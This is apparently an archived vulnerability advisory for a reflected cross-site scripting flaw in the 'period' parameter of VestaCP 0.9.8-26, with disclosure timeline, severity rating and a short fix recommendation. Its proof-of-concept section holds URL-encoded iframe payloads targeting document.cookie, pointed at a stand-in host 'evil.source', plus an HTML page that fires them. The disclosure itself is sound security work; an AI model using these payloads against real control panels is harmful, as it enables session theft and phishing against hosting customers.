exploit the possibilities

VestaCP 0.9.8-26 Cross Site Scripting

VestaCP 0.9.8-26 Cross Site Scripting
Posted Dec 4, 2020
Authored by Benjamin Kunz Mejri | Site vulnerability-lab.com

VestaCP version 0.9.8-26 suffers from a cross site scripting vulnerability.

tags | exploit, xss
MD5 | 3fd585e7f9508922fe245be4837be740

VestaCP 0.9.8-26 Cross Site Scripting

Change Mirror Download
Document Title:
===============
VestaCP v0.9.8-26 - (period) Cross Site Web Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2239


Release Date:
=============
2020-11-24


Vulnerability Laboratory ID (VL-ID):
====================================
2239


Common Vulnerability Scoring System:
====================================
4.1


Vulnerability Class:
====================
Cross Site Scripting - Non Persistent


Current Estimated Price:
========================
500€ - 1.000€


Product & Service Introduction:
===============================
Web interface is open source php and javascript interface based on Vesta open API, it uses 381 vesta CLI calls.
The GNU General Public Licence is a free, copyleft licence for software and other kinds of works. Its free to change,
modify and redistribute source code.

(Copy of the Homepage: https://vestacp.com/features/ & https://vestacp.com/install/ )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a non-persistent cross site vulnerability in the VestaCP v0.9.8-26 hosting web-application.


Affected Product(s):
====================
Vesta
Product: VestaCP v0.9.8-26 - Hosting Control Panel (Web-Application)


Vulnerability Disclosure Timeline:
==================================
2020-05-04: Researcher Notification & Coordination (Security Researcher)
2020-05-05: Vendor Notification (Security Department)
2020-05-07: Vendor Response/Feedback (Security Department)
2020-**-**: Vendor Fix/Patch (Service Developer Team)
2020-**-**: Security Acknowledgements (Security Department)
2020-11-24: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Pre Auth (No Privileges or Session)


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Independent Security Research


Technical Details & Description:
================================
A non-persistent cross site vulnerability has been discovered in the official VestaCP (Control Panel) v0.9.8-26 hosting web-application.
The vulnerability allows remote attackers to inject own malicious script codes with non-persistent attack vector to compromise browser
to web-application requests from the client-side.

The cross site security vulnerability is located in the `period` parameter of the `./list/rrd/` and `./list/rrd/image.php?/rrd/la/` modules.
The injection point is located in the period parameter and the execution occurs in the `Graphs` module. The request method to inject the
malicious script code is GET and the attack vector of the vulnerability is non-persistent on client-side.

Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, non-persistent external redirects
to malicious source and non-persistent manipulation of affected application modules.

Request Method(s):
[+] GET

Vulnerable Module(s):
[+] ./list/rrd/
[+] ./rrd/la/

Vulnerable File(s):
[+] image.php

Vulnerable Parameter(s):
[+] period


Proof of Concept (PoC):
=======================
The client-side cross site scripting web vulnerabilities can be exploited by remote attackers without account and with low user interaction.
For security demonstration or to reproduce the cross site web vulnerability follow the provided information and steps below to continue.


PoC: Example
https://vestacp.localhost:8083/list/rrd/?period=[CROSS SITE SCRIPTING VULNERABILITY!]
https://vestacp.localhost:8083/list/rrd/?period=[CROSS SITE SCRIPTING VULNERABILITY!]


PoC: Payloads
%3E%22%3E%3Ciframe%20src=evil.source%20onload=alert(document.cookie)%3E%3C/iframe%3E
%3E%22%3E%3Ciframe%20src=evil.source%20onload=alert(document.domain)%3E%3C/iframe%3E


PoC: Exploitation
<html>
<head><body>
<title>VEST Control Panel - Client Side XSS POC</title>
<iframe src=https://vestacp.localhost:8083/list/rrd/?period=%3E%22%3E%3Ciframe%20src=evil.source%20onload=alert(document.cookie)%3E%3C/iframe%3E%20>
<iframe src=https://vestacp.localhost:8083/list/rrd/?period=%3E%22%3E%3Ciframe%20src=evil.source%20onload=alert(document.domain)%3E%3C/iframe%3E%20>
</body></head>
</html>


PoC: Vulnerable Source (/list/rrd/ & /list/rrd/image.php)
<div class="l-unit un-selected selected-current">
<div class="l-unit-toolbar clearfix">
<div class="l-unit-toolbar__col l-unit-toolbar__col--right noselect">
<div class="actions-panel clearfix">
<div class="actions-panel__col actions-panel__edit actions-panel__download">
<a href="/list/rrd/image.php?/rrd/la/>"><iframe src="evil.source" onload="alert(document.cookie)"></iframe> -la.png" target="_blank">download <i></i></a>
</div></div>
... ...
<div class="l-unit__stats">
<img src="/list/rrd/image.php?/rrd/la/>"><iframe src="evil.source" onload="alert(document.cookie)"></iframe>-la.png">
</div>


Reference(s):
https://vestacp.localhost:8083/
https://vestacp.localhost:8083/list/
https://vestacp.localhost:8083/list/rrd/


Solution - Fix & Patch:
=======================
The cross site web vulnerability can be resolved by an encode or escape of the vulnerable period parameter context in the get method request.
Sanitize as well the output location of the content to resolve the point were the script code code executes.


Security Risk:
==============
The security risk of the cross site scripting web vulnerability in the vesta cp web-application is estimated as medium.


Credits & Authors:
==================
Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab
or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits
or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do
not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.
We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

Domains: www.vulnerability-lab.com www.vuln-lab.com www.vulnerability-db.com
Services: magazine.vulnerability-lab.com paste.vulnerability-db.com infosec.vulnerability-db.com
Social: twitter.com/vuln_lab facebook.com/VulnerabilityLab youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php vulnerability-lab.com/rss/rss_upcoming.php vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php vulnerability-lab.com/register.php vulnerability-lab.com/list-of-bug-bounty-programs.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other
information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or
edit our material contact (admin@ or research@) to get a ask permission.

Copyright © 2020 | Vulnerability Laboratory - [Evolution Security GmbH]™
Login or Register to add favorites

File Archive:

January 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    4 Files
  • 2
    Jan 2nd
    3 Files
  • 3
    Jan 3rd
    3 Files
  • 4
    Jan 4th
    33 Files
  • 5
    Jan 5th
    31 Files
  • 6
    Jan 6th
    21 Files
  • 7
    Jan 7th
    15 Files
  • 8
    Jan 8th
    19 Files
  • 9
    Jan 9th
    1 Files
  • 10
    Jan 10th
    1 Files
  • 11
    Jan 11th
    33 Files
  • 12
    Jan 12th
    19 Files
  • 13
    Jan 13th
    27 Files
  • 14
    Jan 14th
    8 Files
  • 15
    Jan 15th
    16 Files
  • 16
    Jan 16th
    0 Files
  • 17
    Jan 17th
    0 Files
  • 18
    Jan 18th
    0 Files
  • 19
    Jan 19th
    0 Files
  • 20
    Jan 20th
    0 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    0 Files
  • 24
    Jan 24th
    0 Files
  • 25
    Jan 25th
    0 Files
  • 26
    Jan 26th
    0 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close